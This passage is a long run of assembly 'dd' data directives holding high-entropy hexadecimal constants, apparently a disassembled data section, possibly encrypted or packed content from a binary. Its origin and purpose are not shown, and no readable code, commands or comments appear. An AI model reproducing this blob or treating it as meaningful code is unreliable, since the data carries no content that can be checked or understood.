		dd 0CCBCCF42h, 9F2300DCh, 9DE98A33h, 0B1D2C6Dh,	483CD2E5h
		dd 0E3490090h, 0F5CB8F24h, 25E232h, 591D9D62h, 1AA9DE2Fh
		dd 78E0063Ah, 58B0E960h, 6F565Fh, 0DC0FB71h, 6B503077h
		dd 8CBDAF01h, 0F9F6B431h, 59BC20h, 4618B15Eh, 293597B2h
		dd 667A1D01h, 0B080081Eh, 62FEE4h, 0E5FCB928h, 47FDCA6h
		dd 0A6ECE1Eh, 51BBACC0h, 3A9500Fh, 0F8359AFDh, 57E85901h
		dd 3200AA3Bh, 65E3C6DBh, 1E6A9ECCh, 808DA0BAh, 7813B0B6h
		dd 280010BDh, 0C775DD1Fh, 3C733576h, 630029BFh,	4D06D7F1h
		dd 0F000AF05h, 0C7A9D6A7h, 7EB98Bh, 7CC4B2F7h, 2DE3D4Ah
		dd 62061B00h, 779EA8B5h, 287A0007h, 2D4D11C4h, 51728756h
		dd 0DFC8D500h, 4B291062h, 447E6Eh, 72C91E9Dh, 695F6F99h
		dd 76FA801Ch, 0D240A31Dh, 0D7E5D9B6h, 7017033Fh, 0A020F544h
		dd 4FDD0EC0h, 596A7500h, 8299CA60h, 0CAD0E54h, 0CEE26E8Eh
		dd 0D9704338h, 677C1601h, 0CA32EBD6h, 4D3F40C2h, 3F300092h
		dd 68D72F55h, 84F64825h, 0E267200h, 0BAD55DFBh,	0CE7DC1h
		dd 1B69A6DEh, 1A2BA173h, 0B2170C00h, 0EEB3062h,	0C675E6h
		dd 0A4287D4Ah, 0CD512F08h, 0BAD8CE00h, 6EFCE934h, 0CC320094h
		dd 5D229FE4h, 6C006354h, 0A433A7Ah, 39077FBh, 469B7983h
		dd 0CDB85558h, 2377410Ch, 0E05CA200h, 71E71B5h,	56500EABh
		dd 0AD400B2Ah, 0CAC84A9Fh, 155B8B02h, 806E047Bh, 0AFD9F4CCh
		dd 0E68500E3h, 0BC5D3E48h, 61EA2FCCh, 9BD32E07h, 1700EB04h
		dd 14822CFh, 5A4E0A53h,	409D39D0h, 0D101F4A0h, 73D6AC03h
		dd 651D9Ch, 0EAFD3BB0h,	99A3B03Eh, 960FC5E0h, 80BCB67Ch
		dd 8774F2Eh, 41C709B5h,	9581D8C6h, 0FCDE8C74h, 911DCA64h
		dd 0F00A8EDh, 0AA9476F7h, 689F0062h, 6EE95543h,	0E50E7925h
		dd 0A0445E04h, 93BD4C64h, 0EF2C0089h, 0C2716253h, 163DFF1Eh
		dd 779F8168h, 27C3E67Ch, 598ECCh, 0E20428A8h, 0DCD15572h
		dd 6F36BB01h, 13A6F682h, 0A55FE0h, 0ED10BE97h, 17268611h
		dd 39FC2400h, 81F07E71h, 0A7A801F8h, 0D46C6A83h, 0E055300Fh
		dd 0B5AB4000h, 6114CD3Fh, 0EB4600CCh, 4E56F651h, 5E00E744h
		dd 0FC45B507h, 9F86DFh,	46349794h, 0C0025A38h, 22481503h
		dd 0F075EAA0h, 748D56h,	16B725Eh, 7C39E516h, 0BC70983Ah
		dd 0AE7A75FCh, 0DBF20D00h, 316F2C50h, 0F9F50040h, 87E2708Bh
		dd 0A97925A7h, 11334100h, 0C80782D1h, 0EED7F649h, 0B42700F0h
		dd 81A36846h, 0C09BD7Eh, 4FCEFEh, 49ECE282h, 2643F1Dh
		dd 0DC21B587h, 0B037506Ah, 3000344Ah, 617952Bh,	73C1A6Bh
		dd 0C176DA32h, 66CC3384h, 9683FDF0h, 0B85E6D00h, 74DB38D7h
		dd 65F00043h, 986AB418h, 2158C799h, 0CA051E23h,	87418586h
		dd 0D4F458h, 513EBE67h,	3C03894Fh, 0A3D08600h, 402390D9h
		dd 0D72A0F63h, 0F761A7CCh, 0D53014BBh, 7C7E30C6h, 0A50C9300h
		dd 0FDB786D6h, 92DD0025h, 183C07D4h, 5B006337h,	2D82CFA4h
		dd 0A1BBB7h, 0C79DD3E5h, 198A4B44h, 8FEBC00Fh, 43E68036h
		dd 13E8AB94h, 1173E15h,	0C4B5C29h, 0BE79D89Dh, 0BFC32A03h
		dd 0B81040D9h, 1FE4EC1Fh, 84C56FE8h, 81776D8Bh,	0D9E2F946h
		dd 2CA0507Bh, 6300F42Bh, 0D9B779B3h, 3204E1Fh, 0E2E3ECBCh
		dd 71809B88h, 0A30904Dh, 366AB81Ah, 0B9620014h,	0F0C1CE1Ch
		dd 0E4002A70h, 0FB0D3A78h, 3DE75998h, 0A35CA614h, 66EA800h
		dd 272E37Fh, 0CA4F4700h, 0B9DD229Ah, 39270025h,	6A5DB005h
		dd 0EC0E96C8h, 80FD2833h, 306FDEC3h, 1A77000Ah,	0BAE75C9Fh
		dd 5D00E88Dh, 6BA8B1EDh, 0EBEEC4h, 0B74F80A7h, 0BFFA0CD0h
		dd 0ADE06A00h, 18A6D205h, 52EA91h, 0ABE3CBB8h, 0DF5C9AE4h
		dd 0D2371100h, 3CF1E927h, 8B8807EFh, 0D02DD708h, 332202C5h
		dd 7E15A50Fh, 643F8053h, 26CF9872h, 0F7FE87h, 20E0B7C7h
		dd 4CEC7C42h, 0B4101F00h, 0D78A7A68h, 0DAFC5C49h, 16E29500h
		dd 7E0B8EBh, 170BAC00h,	92D95A3Bh, 0B74901D6h, 0A4C3A881h
		dd 9E07F2Eh, 1E8C7635h,	4024587Eh, 72E60A5Bh, 4F01F475h
		dd 914B98BEh, 0B0D8C47Dh, 8AE7052Ah, 0C035707Eh, 0DD5FC95Eh
		dd 7F00B2FCh, 6B6D9F41h, 802D27h, 0FA98254Dh, 0DABE094Bh
		dd 8A183001h, 2E176614h, 28D2C240h, 0C1851FFFh,	0E1CE011Eh
		dd 40DE6B64h, 86C2FA96h, 0FD208D00h, 0A64B6324h, 46050007h
		dd 0CF9E7D54h, 92C7CC7Eh, 0FD80D5C9h, 0FC7BF3h,	0F444F5D0h
		dd 0E279BB5Ch, 1BA4CD00h, 1535D65Bh, 0B4660039h, 47C1D0C4h
		dd 4F0064E9h, 78BD7960h, 3C39ACDh, 2EEF938Ah, 5CE338C1h
		dd 7FC0EFE5h, 51399Dh, 0B15F1BF2h, 892A640Ah, 2FB45D02h
		dd 60CEE812h, 0BB9383h,	0D5B079C3h, 17CBA391h, 0AFC83D02h
		dd 8EF8F3A0h, 7D0193FCh, 0B4E9DC6Bh, 0E05C8h, 6A199A0Fh
		dd 5042FCA0h, 0C1BC7300h, 3E83ABA3h, 749E1D79h,	0BE48401Bh
		dd 0A81C0B4Bh, 9678EC01h
		dd 0FAA03DADh, 12DEFC40h, 0CF68000Fh, 1C9F8491h, 1A004718h
		dd 6BD537BCh, 0BFC22Bh,	43B3599h, 9C5C1901h, 85E0BE00h
		dd 0AA326DC3h, 8923Ah, 31303926h, 6E2262DDh, 80806A3Dh
		dd 64A05371h, 0CCB594h,	9F01D8B6h, 406C87A3h, 2D5CF700h
		dd 0AB8CF52Ch, 14A7C07h, 0B53F7365h, 24B47Ch, 463093h
		dd 60F2A25Fh, 4A22693Dh, 3F00B9B0h, 5D80AD38h, 549BDFh
		dd 7BA72B35h, 9D06CA0Dh, 293B7D12h, 56A28400h, 705B7566h
		dd 0AC40F384h, 2E40D7h,	37230BC4h, 0C67721B1h, 5895FC00h
		dd 0BD685DF6h, 69D30015h, 2773A7B4h, 55006145h,	8E021C9Dh
		dd 577C34h, 1474D110h, 0F8BFFF5Eh, 485F3A80h, 0F000A843h
		dd 4D6B70A6h, 0C7001939h, 0ACBA9C82h, 975FFDh, 8F606A3Bh
		dd 0B39FA202h, 3C8C3407h, 3A5189BAh, 3DE8BC1Bh,	0D190F0h
		dd 0CE3EFFA2h, 76810B9h, 5A400403h, 0C9156FDAh,	0AC30B387h
		dd 28E85CF2h, 0D7B2CB0Ah, 175A00CCh, 6F19784Bh,	9E887E00h
		dd 0D060D31Ch, 1347C85h, 2514F8C1h, 20C9A469h, 30009CC9h
		dd 37BEFFAFh, 0EA0E01h,	53940350h, 6CB798B6h, 0D95A700h
		dd 65C8CDADh, 9C50030Fh, 435B3A67h, 947BFEA0h, 7F9B2313h
		dd 92896C00h, 0BDB5E5h,	4D5118D1h, 0F9656350h, 0C8A4D900h
		dd 56BCE79Ch, 0AF460027h, 0C269FC9h, 9017DA05h,	61009638h
		dd 0B8021A93h, 4E5A004Fh, 29173660h, 0F04B30BDh, 0C724DF81h
		dd 117093EDh, 0B40200B5h, 1B5C162Eh, 0AB3F2B51h, 62D6A6DBh
		dd 0D50EF401h, 108043BFh, 0B0C281CAh, 8A00D494h, 0C6B7FC71h
		dd 124C3BCEh, 292E2E4h,	7C530252h, 0D3C53440h, 76DBA200h
		dd 71784D58h, 0B6B007Ah, 52649FBAh, 500BC54h, 14993D1Fh
		dd 0E258164Ah, 0F93000E4h, 0C006D004h, 0F7198CFEh, 4A101366h
		dd 0E245FF0h, 32E76076h, 6F55DB00h, 0A30B1854h,	806AD2C0h
		dd 30B7E9C8h, 71537195h, 0B3A700ADh, 0BCD63C57h, 0F600AC77h
		dd 942EBFF0h, 115904Fh,	0DBA5BE0h, 0E412A66Dh, 1FF49176h
		dd 51A88A00h, 9E53ED3Fh, 0F6F04B1h, 0C08CC706h,	0ABF77E87h
		dd 9AE6EB00h, 0B38587A9h, 0C7D8133Bh, 407B1C9Bh, 0F35A2303h
		dd 0B03D3DE4h, 0E28A1E87h, 0CA327E80h, 3F5BFD4Fh, 0CE80DB7Ch
		dd 0B205C8DAh, 0BB3D7753h, 922C07E0h, 0FEB01E78h, 1C14936Dh
		dd 70DFCCA1h, 1265E878h, 0BF03F374h, 0FF236D46h, 34F428ACh
		dd 512B008Fh, 0A624EC81h, 0A0007F26h, 733FCE72h, 1D89D8FAh
		dd 47DFDC05h, 1088ADA4h, 324B9EFCh, 0B8B08C00h,	0AEA3F3E1h
		dd 50D400FFh, 93022CF7h, 0B700D06Ch, 0EEE864D8h, 0B55F98h
		dd 379EFA8h, 3367A4A2h,	0F100CC90h, 501492B3h, 660B19h
		dd 7DF6BF34h, 98FEF5E1h, 68015879h, 0E58D3ABBh,	45E4E9CBh
		dd 9FB0F6h, 385CF094h, 7DDE7687h, 89493A00h, 85EAEF9Dh
		dd 114B0253h, 0FE1B16BDh, 0EBD7C9E0h, 0AD99551Fh, 9B48F8C0h
		dd 0E70DF7h, 36A94EC0h,	3C5F2861h, 56CA51Eh, 0C9A032h
		dd 680CFA7Fh, 26E3FE07h, 7210EDE9h, 5F38F6h, 16D6FB31h
		dd 545933C9h, 9AB6D00h,	62A03AADh, 16298EFh, 0E2A19B04h
		dd 0F74C29D3h, 0C00515C9h, 6A18543Dh, 5E18CF7Ah, 2FC50024h
		dd 0CB670DF5h, 0B2FCE3DEh, 34DF8300h, 5A738BEAh, 0CACE2B9h
		dd 0A7CB42Ah, 34004621h, 53AD04D9h, 8B6E8Ch, 0C272D785h
		dd 9A5B5FD4h, 47839C0h,	0AB09FFh, 3DBF0223h, 25DA191Eh
		dd 0F9205960h, 79B1E32Fh, 3DFF76D6h, 4258363Bh,	0EB774160h
		dd 81607E3Ah, 161A1911h, 0AD1B0096h, 0D4465915h, 7C0E4A4Bh
		dd 400DACDAh, 58423D2Bh, 597F0013h, 8286D0BDh, 0AA00BFD1h
		dd 0E3AD4D28h, 2852D5E1h, 0E9C7C0Ah, 9CA5EC0Bh,	2455A203h
		dd 8DF732C0h, 5933B00h,	51DF77B8h, 83B1002Ch, 28ADCFD1h
		dd 78012964h, 0FBE931F9h, 0FFC86EB0h, 24FA7C66h, 0FAB9B7h
		dd 0E3906783h, 48005075h, 0B149ABEFh, 0D64C80h,	24749F66h
		dd 0E769BEDEh, 3A154700h, 0E2A0EF41h, 6FE5001Eh, 0D8FB49CCh
		dd 5928908Bh, 0B800BCBBh, 35CB9927h, 0F4CD0Ch, 37AD6F05h
		dd 9BB570CAh, 416A9005h, 0E038ED52h, 7AFB7F3Ch,	0F3DF01A5h
		dd 0CDD5E624h, 6D80F48Dh, 1F006EFAh, 53F74806h,	0EA19842h
		dd 76266FF1h, 9065EB40h, 88C77910h, 8490FB21h, 16D2C1h
		dd 928E74FFh, 0C6CB8530h, 0CCCD6F00h, 24628460h, 34BC5895h
		dd 0F04FAF0Dh, 0AAA7EC98h, 0BB581103h, 0C8CC5248h, 493D974Bh
		dd 6D310C2Dh, 20D4271Ah, 361E7054h, 0D7C02BA4h,	0EBFDD046h
		dd 0BDFE7Bh, 0C4F64992h, 6A30869Ch, 19ECC1F6h, 34022407h
		dd 0BE155AECh, 5F5CD980h, 60D048FFh, 1A85AE3Eh,	4065CC04h
		dd 0CBA13B50h, 1B0068FBh, 0E5C7E2B6h, 0BE830Eh,	90E3B85Eh
		dd 0F66EAB9Ah, 81133Eh,	32D3A89h, 8525C2h, 8CFDE50Dh, 5D962C48h
		dd 7D663E00h, 0A0EAB90Eh, 6488006Ah, 1EDD358Eh,	2E00A66Eh
		dd 3F288303h, 0F4F530FEh, 6A4B03FFh, 0F110C2EEh, 88C08DFAh
		dd 15003A55h, 0D4395A46h, 0FAE07C93h, 0DA09001Dh, 4C115908h
		dd 0EE3AD118h, 19C380FFh, 46CCB961h, 0EBA800C2h, 382D036Ah
		dd 891F3B40h, 9681B007h, 0FB17831Dh, 3562730h, 19EBEFACh
		dd 0C5DB8E7Dh, 97D90588h, 5961CD00h, 44B9326Fh,	0E0B300B4h
		dd 3C3B1F94h, 0A0C08C21h, 19EAAA89h, 3BE7FB5h, 0A4FF1C0Dh
		dd 9000E2D9h, 389F3AC6h, 276E8EDh, 8380019Bh, 7560BA11h
		dd 0F780E72Eh, 6B3A09ECh, 0C8804332h, 7AA91EEFh, 0E0F678FEh
		dd 8D9A2D06h, 7E07C0Ch,	4FC947C6h, 94C04E40h, 0BB0B9D6Ah
		dd 61A26803h, 0B0DC08A7h, 0AD4E70h, 0E530063Dh,	891D41EFh
		dd 386D0F0Fh, 77450028h, 147A0B70h, 98FC5043h, 0D821080Fh
		dd 0F7519280h, 0F83C0571h, 0B50A8004h, 39CC0D17h, 48578A0h
		dd 0EF4A203Dh, 0CB09086h, 5800FB50h, 37DD1615h,	0AAC7ACh
		dd 279EA27Eh, 4902ED5Eh, 0D97C4B07h, 8F80D241h,	0A99CEAh
		dd 3CDD4A4Eh, 956454F7h, 33720503h, 918144A3h, 0B820BA82h
		dd 314A24D1h, 2C3B6070h, 3C4924F9h, 0D0BF00C4h,	0C9FA0D08h
		dd 126C9AFEh, 1C3496C7h, 9C3CCE68h, 0BAC0A880h,	0CA03260Ah
		dd 0F7E1EFCDh, 0D30E9003h, 0B9B80FD4h, 0BF49DBC0h, 5B750101h
		dd 76F824C1h, 9FCBC0DCh, 0A07D8934h, 9B2C1C2Ch,	0EE9D0073h
		dd 0DFD18F55h, 0BA00E320h, 30829775h, 12E6F56h,	5A29D510h
		dd 0F83150C9h, 49002226h, 0C805B9C6h, 0C0AF6Dh,	4418736h
		dd 0D58B9D56h, 26FD0B24h, 0BD10AD00h, 48E3ADBh,	8AEE260Fh
		dd 45E48069h, 0C0A8A43Dh, 0B4016C16h, 0C4E99F4Ah, 0D0FF71A5h
		dd 3DF5B60h, 90F5D24Dh,	0AED055BFh, 5C00AA21h, 0CCD3896Fh
		dd 0ECD43625h, 0E90D01F9h, 5870DD26h, 0E1BD88Ah, 0BA17500h
		dd 4310BB48h, 0CD30069h, 0AC6CC911h, 0DF385532h, 84B487C0h
		dd 0DEC73935h, 38810BB5h, 0BC41707Ah, 2CDC5F2Dh, 90934C40h
		dd 0EE9F1C00h, 544C463h, 0AE247A03h, 92940D58h,	0D06CE330h
		dd 736879Ch, 2D20BF0Ch,	0FB0FA06Ch, 0A300D84Ah,	3760DFCDh
		dd 95BCF1h, 96F90E6Dh, 67D4B281h, 59C03800h, 8D99E2B0h
		dd 0FD7F005Ch, 7C976BB6h, 9507F1CAh, 49FEB3B2h,	0A6C765F4h
		dd 32CCB480h, 0F6D5007Dh, 0ED605F1Dh, 9E00CD19h, 978D96CAh
		dd 8FA431h, 0ABCF8349h,	1C95EE4Ah, 9CCB100h, 822903Fh
		dd 6E650031h, 0E24F3D12h, 0F800B22Ch, 4B70F689h, 0F846842h
		dd 3EA4237Dh, 0A773AB40h, 4E0136BBh, 0F444246Dh, 9C4077B6h
		dd 8DDF0Dh
		dd 0D74965EEh, 0BC37BBC2h, 87509900h, 733D761Fh, 0B3C000FEh
		dd 0F4E05B6Ch, 5D073BECh, 27C653A7h, 852134B0h,	78D8004Bh
		dd 509B64A3h, 0F100B6E5h, 678BECD9h, 729C2788h,	3A9F0021h
		dd 0AA2EDFB0h, 3F01B74Ch, 0FC5B585h, 23D40942h,	0E47517h
		dd 21A82C9Ah, 3F8F2B91h, 4E091670h, 80E26DB8h, 80EB3D8h
		dd 982100B0h, 0B6E90CC4h, 72003C4Eh, 3A35D1Eh, 43637Ah
		dd 71D2159Bh, 3E595AEBh, 0EEC052E2h, 0BC9196B3h, 86C30011h
		dd 0AA425583h, 0F004DCCh, 5051A8A3h, 67BD0Dh, 7C6CB4A9h
		dd 7E44F3B8h, 0CBDF230Ch, 0A0359029h, 3509284h,	0B0E08DF8h
		dd 48004D6Bh, 0BCB2DFABh, 3D21C0A0h, 4418FC90h,	6EB1A9ACh
		dd 3DD7611Eh, 66007CACh, 0EF70909Ah, 7E8000F1h,	0DF35377Ah
		dd 898CC83h, 4FE14400h,	86BB07DCh, 0AE000AAh, 0E9581512h
		dd 1698F7C7h, 29540C00h, 0FA67319Ch, 2C9E00DCh,	0B1B63D5Dh
		dd 0C4A807A8h, 0A4E026E6h, 0AD51CC1Ch, 38B4C6C0h, 787AC1Ah
		dd 0C66A94Ch, 0FD680063h, 0C8C0B6EAh, 3F49ECF5h, 18041D9Bh
		dd 55278798h, 384A700Ch, 0E100EA09h, 0B2EB3186h, 9279D353h
		dd 5994035Ch, 85C24D7Ah, 75A870B0h, 0A45F242Ch,	456C6701h
		dd 0E464076Bh, 0D24A0086h, 0A1F15798h, 1D76AC70h, 0EA675302h
		dd 0C0DF2E73h, 7828D4C9h, 98610068h, 0DBF37FCCh, 34097BBEh
		dd 8862AC4Dh, 0FC0198B8h, 0AD970BBDh, 14060h, 0EEBAF66Ch
		dd 4D1A6131h, 0FB722F90h, 590005ECh, 7BB852C0h,	153BA7h
		dd 0EB9909D0h, 61E97FB3h, 82D90E05h, 98015451h,	7CF669Eh
		dd 9D2EE80Ch, 1BA9C75h,	3C2F47BDh, 0F6472C33h, 0B411C860h
		dd 6CB500AFh, 0B3FDFB16h, 7000851h, 80BBFF9Fh, 1E709CB0h
		dd 0C148DDABh, 6B568C3Eh, 1B8080E9h, 46854BFCh,	0AEEA00FEh
		dd 5162C5D9h, 0B50096AFh, 0C41F8B79h, 0CDA467h,	0A03A71CFh
		dd 52B25127h, 7CC18500h, 0CCA8033Ch, 0D4920008h, 0C9291C11h
		dd 270397EEh, 0F8A3E8A0h, 0B939C8CAh, 7FEEDAh, 128B6C3Bh
		dd 0C87C1A9h, 0AA149400h, 31F4FBFDh, 0DD30EE5h,	49017902h
		dd 0E4B56075h, 221EA49Ah, 9D40DA96h, 0B114B368h, 0FDA6133Eh
		dd 0FAD04425h, 69608015h, 530E55E7h, 0E078479Eh, 834D7E2h
		dd 334400FFh, 0C80C71DEh, 0DF02A3C0h, 2F68BE5Ah, 0F140FF55h
		dd 0BB069B40h, 0BF4DA4C1h, 67E400B0h, 5A3AA57Ah, 9E0F6F77h
		dd 40D9D479h, 1751D0B2h, 22F13CA3h, 0FA500E80h,	5535EAC6h
		dd 9E4BA600h, 1E2707C0h, 0CDE50069h, 0B372BC56h, 8900093Eh
		dd 9FDE7D15h, 5121BBh, 6CC1E57Ah, 0B2CCAB1Ch, 61B1D12h
		dd 820C846h, 0CB830070h, 16F85C96h, 3F03EC65h, 38A045CFh
		dd 2259D86Fh, 0B8C7006Ch, 5AA28C9h, 4103BE6Ah, 9662E91Eh
		dd 0BDD7B109h, 7AA34880h, 656AD42Ch, 0BF91B600h, 0B37513F4h
		dd 0C7EAA7h, 8C503E12h,	5B34A187h, 91B1DD00h, 38C9AAA9h
		dd 2A0C07C7h, 5F72EA21h, 0EE0D7820h, 93006C50h,	734F7BF6h
		dd 78D9B013h, 0F0335C8Ch, 5120D18Eh, 3B83CED8h,	6EB6103h
		dd 8710222Fh, 0B0F64750h, 15F70F3h, 0E4705B59h,	7018F5A0h
		dd 44007A98h, 60AFB92Dh, 37181BCh, 171DF25Ah, 8BA0B116h
		dd 3E0EB442h, 0A2124D9Bh, 4858FE15h, 1C11A9Ch, 18B1F8CEh
		dd 0D4694041h, 151CE095h, 0B6C0742Bh, 463AE205h, 392D3FCDh
		dd 89321200h, 0CF6B9257h, 7A5DE000h, 0BCAAF83Fh, 8A4B00A1h
		dd 0C92E0D91h, 0E1020F3Bh, 0F098CBC8h, 0E22C069h, 0C5E00Ah
		dd 9F4B51B5h, 9379A7Ah,	89715Ch, 425893B8h, 1010BCFh, 0F3431B55h
		dd 0F8BA8C06h, 0B024CB91h, 0E300FBA3h, 0EB62243Dh, 2D030697h
		dd 0A6D0C4CEh, 6D064702h, 40078FE9h, 6BCF70h, 0D4B76A35h
		dd 0A0D0B004h, 9C8E8428h, 20007675h, 7D7BDEC5h,	0D4B151h
		dd 835C6955h, 41C79D28h, 395FFB00h, 7BC96BBEh, 2B3A0263h
		dd 2982661h, 649880C3h,	130024A9h, 8365CA32h, 8F4E0Dh
		dd 102E3ADAh, 1BC741D8h, 29CC7E0Eh, 43E00033h, 285289h
		dd 457583Eh, 5F936F9Fh,	30E7139h, 0DE5BC4DFh, 0BEB5A83Bh
		dd 1DC900D0h, 0A87FEAADh, 7601AF79h, 5E5D1F13h,	52D86D4Fh
		dd 337E00ACh, 8E32AAD8h, 44003A89h, 0D4E4C620h,	0FCA06221h
		dd 4A0E0B43h, 9B80555Bh, 5738CCFBh, 79141748h, 0AE0E8BFCh
		dd 2058A545h, 1EB36653h, 71D100AFh, 0D34901CCh,	6724EE16h
		dd 7009487h, 72669776h,	3F05E041h, 6B80AE44h, 4F408D17h
		dd 2D5C0FFAh, 800E78EAh, 0C76E45D2h, 0D5F00A96h, 0A6847Ch
		dd 3052AC3Eh, 7F16AA4h,	19945D48h, 0BDF01612h, 4009BA9Dh
		dd 0E7A07A36h, 0A6004753h, 0AA6F569Fh, 5844292Ch, 785425A2h
		dd 0BF99243Dh, 89060064h, 3B25EF75h, 70DA8400h,	1DB72874h
		dd 7AB500C3h, 79C629E7h, 5E709480h, 22364800h, 2F380399h
		dd 5B5AEA75h, 0B3AC4Ch,	0ABB02014h, 685C0Ah, 3B8D979Ah
		dd 9C10959Fh, 0DCFBE07h, 37707625h, 1ADC91C5h, 1005F219h
		dd 0F329A880h, 16004AA3h, 81328D56h, 3F157C0Ah,	7CE469Eh
		dd 0D064D9D4h, 90298259h, 8603BA00h, 6CA699A9h,	4B02038Ah
		dd 4985EBCFh, 0C3B715F8h, 0AD771300h, 14EDC50h,	58BB000Ah
		dd 7E4BEDF6h, 8D485707h, 0B1D30244h, 58CC1E85h,	0C0CEFE64h
		dd 0B7B3EFA6h, 89000C30h, 454879DBh, 0F0D2A3CFh, 8D5507FEh
		dd 0D0D5E0A8h, 0DC6E92F3h, 531DDB00h, 21A3ED30h, 67890397h
		dd 0AA29065Fh, 554AB3D0h, 6B5ED500h, 0BD1A455Ah, 3B6500B8h
		dd 98415857h, 3800613Dh, 0C2D82A03h, 0C5186Ch, 0A1F174Dh
		dd 0E1C91AB9h, 59CD73Bh, 0D8C06EB5h, 0ECA98C05h, 0DACF9490h
		dd 0CD37004Eh, 85309123h, 83041DB6h, 6AE83B3Eh,	71FAECC2h
		dd 9724811Ch, 0F462A4A1h, 0D8096306h, 0F46FEE29h, 0ABCE00A8h
		dd 0EB930AC2h, 16926100h, 811AD68Eh, 7011B090h,	0E53F2EE0h
		dd 9D1800E2h, 0EDFA77B5h, 0D8CC0906h, 74A073CAh, 0B467003Fh
		dd 129F88D5h, 3A006617h, 33072679h, 28C7E350h, 0E49CF2h
		dd 0F937C3C9h, 0EF6BA5B5h, 0F7494E00h, 3DD8D97Ch, 1EEEDAh
		dd 5E35F24Bh, 0F6AD0DCCh, 5BE5BC00h, 0B6B106B3h, 8A1A00F3h
		dd 0F17493D4h, 34E6BEDFh, 0DD42C901h, 0B0D31F7Ah, 34C2CDCh
		dd 0B34A4015h, 101CCD03h, 96401C56h, 2BF4E057h,	42350073h
		dd 69A67862h, 0F83D8DCCh, 0C63C00A3h, 0EACABE5Fh, 0D1200094h
		dd 0AE26C05Bh, 0B971B819h, 0CE0F4F00h, 0C93E7974h, 435B0097h
		dd 61144610h, 390330A2h, 650DAEFFh, 2CC09C80h, 134582h
		dd 0D4C20F7Ah, 0AE11EA89h, 0BDF50300h, 0ECE61417h, 0DB0A04EFh
		dd 0C0FD4F6Ah, 6F925A3Bh, 58A85600h, 2D9C81CEh,	338E00A3h
		dd 34504A4Fh, 4300E490h, 637AB704h, 0B6CEBEh, 6838270Ah
		dd 6CA3D5DDh, 2BF99E00h, 420EB3DFh, 0D79F0017h,	0DD481EC7h
		dd 32B0A97Eh, 0ED39BC00h, 903B96DCh, 5DB21202h,	381CC02Bh
		dd 0AB1E6F48h, 0BD8080D5h, 0B89BDEDAh, 0B8F54FD6h, 6681D81h
		dd 156632C0h, 5C116D87h, 0E70020A5h, 19BA09B5h,	500FCDDBh
		dd 428A7B7Eh, 0C0A43A92h, 989C61h, 69FB8142h, 9664F9BBh
		dd 5B004EF4h, 0CFDE7AE1h, 411DC8h, 6F49EBA7h, 0D2A659C2h
		dd 9000B0F8h, 0CDD7D98Fh, 9058DE76h, 287A9040h,	2895EBh
		dd 0B6E92AB0h, 0C999C2C8h, 76BD6C00h, 7D8CB82Fh, 0ABCF2796h
		dd 0A19CF480h, 2770342Dh, 0E4839100h, 4162E6Ah,	0F19A00D9h
		dd 0CA5FDB74h, 0BFE0F568h, 0E685BA09h, 0C32C0086h, 16BBC8A0h
		dd 0EFECD8DBh
		dd 7CAA6A00h, 9E5C04BEh, 2FFF0BE8h, 17B8421h, 3C4430D5h
		dd 72D0B600h, 0C2D45971h, 52080021h, 0E28F0B36h, 88240586h
		dd 76853953h, 0D880896Ah, 2C274CDCh, 800C2087h,	56D0306Dh
		dd 0F012AC74h, 170024E2h, 5F23AB41h, 92690373h,	0B82BEF55h
		dd 0F02676F8h, 0C306849Ah, 693F108Bh, 98CD0048h, 77174857h
		dd 0EA0732E7h, 0E07B5F16h, 0D3154173h, 5D80269Dh, 40CC3860h
		dd 1F1AEE02h, 18D1706Ah, 0C344982Dh, 584ECD4h, 3CA0BC4Bh
		dd 0B960C611h, 0D01619F4h, 6080F850h, 66DA15h, 0BB1B68FCh
		dd 90467E86h, 0E094CB76h, 0F1951D00h, 0B421Fh, 9DC90E28h
		dd 8D5C24A4h, 0D25A0A0Fh, 43ADA097h, 0E0A7CBD1h, 60E2F965h
		dd 528EC14h, 0C47587B4h, 9474C0D2h, 0AE60D6FCh,	0D3E584B0h
		dd 0D0B081h, 0FEFB1BADh, 0B4DD5C8Bh, 39DAFC00h,	6A21A7B3h
		dd 0D73E0087h, 108C8FE1h, 0AF16B615h, 6C00A072h, 9BF4CC0Fh
		dd 78510CC8h, 0CDE9BA4Bh, 25F57300h, 7FAF832h, 2963035Eh
		dd 1490E7BFh, 5C7920F7h, 0B30906A5h, 0FF5032EAh, 6D9CB480h
		dd 1F00F981h, 0ECC479C2h, 19E39Eh, 78F642F7h, 0C0FD1DAEh
		dd 5B22381Dh, 20E42F8Fh, 0C517E959h, 0EE4B00E1h, 0DD454ABBh
		dd 3800D325h, 0E8FBDEBAh, 72512066h, 6AFC36h, 0CB55A4E1h
		dd 0D6E7B61Bh, 971D3A0Fh, 0F27F012Fh, 7F202A12h, 300F0FF5h
		dd 0EC405F90h, 2F92BC99h, 34002278h, 7B3682FBh,	752B68h
		dd 3A20AB26h, 0BC6D3D88h, 48E3F30Fh, 8FBE8E8Eh,	0D2C600C3h
		dd 399290h, 509EAF5Bh, 7A57DA69h, 0AB2E70F8h, 3F0089EEh
		dd 6014B64Fh, 7D6203DCh, 6F414B82h, 3869B100h, 521A2FAh
		dd 257601B4h, 0D31E866Ah, 0B58BFC71h, 83BE2801h, 992D0E9Ah
		dd 0EDB800FFh, 0DCA55436h, 3500F729h, 0BE05209Fh, 0C02A1E99h
		dd 53C80730h, 0AA0C4575h, 19F88B41h, 44353037h,	0E23B7A31h
		dd 8F660D39h, 40DCF915h, 6B4EDB6h, 0B3E801DEh, 0DA4EAFCFh
		dd 750BFCF3h, 9E192B0Bh, 68DC00FEh, 575E2Ah, 659B9D74h
		dd 0E942025Dh, 7A276000h, 50BA77FAh, 0B9CE0EABh, 0F9436A83h
		dd 21C83D1Eh, 4100E2BCh, 5EDC98F8h, 141625DFh, 0AC75E323h
		dd 2C080474h, 0C080590Ch, 40D6EBCEh, 14DCCF24h,	7EF4FA00h
		dd 53D368h, 17068781h, 6A085444h, 0EF722B00h, 7F6FD2B0h
		dd 69DE281Eh, 0DCF50082h, 717442CAh, 0E37EBFE8h, 37E49839h
		dd 0E79049F0h, 122B7D0h, 80CAD67Bh, 201AC61Ch, 0CD01F5CEh
		dd 0C37D1FC8h, 68E0A5C5h, 0B2026012h, 46BF365Eh, 0B149E1F2h
		dd 60B3000Ch, 0D5EE4364h, 7AB830EBh, 0B91647A1h, 5F68250Ch
		dd 0FE1F6823h, 0D998D7h, 0AC7C4DDAh, 0D8CD4AB9h, 0F8794503h
		dd 0B8675A32h, 49089CE5h, 0AF039CAEh, 0F266F64h, 5CC67110h
		dd 5938A101h, 0F865425Bh, 0CF2C2FE4h, 1003886h,	0D2138B1Ch
